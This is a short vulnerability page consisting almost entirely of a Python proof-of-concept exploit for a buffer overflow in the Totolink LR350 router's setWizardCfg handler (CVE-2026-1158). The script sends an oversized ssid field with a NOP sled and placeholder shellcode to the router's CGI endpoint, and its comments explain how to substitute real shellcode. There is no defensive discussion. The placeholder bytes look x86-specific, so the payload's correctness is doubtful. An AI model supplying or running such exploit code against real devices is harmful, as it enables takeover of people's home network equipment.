Totolink LR350 setWizardCfg函数缓冲区溢出漏洞 (CVE-2026-1158)

import requests # CVE-2026-1158 PoC - Totolink LR350 setWizardCfg Buffer Overflow # Target: Totolink LR350 9.3.5u.6369_B20220309 target_ip = "192.168.1.1" # Replace with target IP url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Generate payload with shellcode and overflow pattern # The overflow occurs in the ssid parameter of setWizardCfg function # Adjust the length based on target firmware padding_length = 500 # Adjust based on buffer size nop_sled = b'\x90' * 100 # Simple shellcode for demonstration - in real attack, use appropriate shellcode shellcode = b'\xcc' * 50 # INT3 for debugging payload = nop_sled + shellcode + b'A' * (padding_length - len(nop_sled) - len(shellcode)) # Construct the PoC request data = { 'topicurl': 'setWizardCfg', 'ssid': payload.decode('latin-1') } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': f'http://{target_ip}/' } print(f"[*] Sending exploit to {url}") print(f"[*] Payload size: {len(payload)} bytes") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")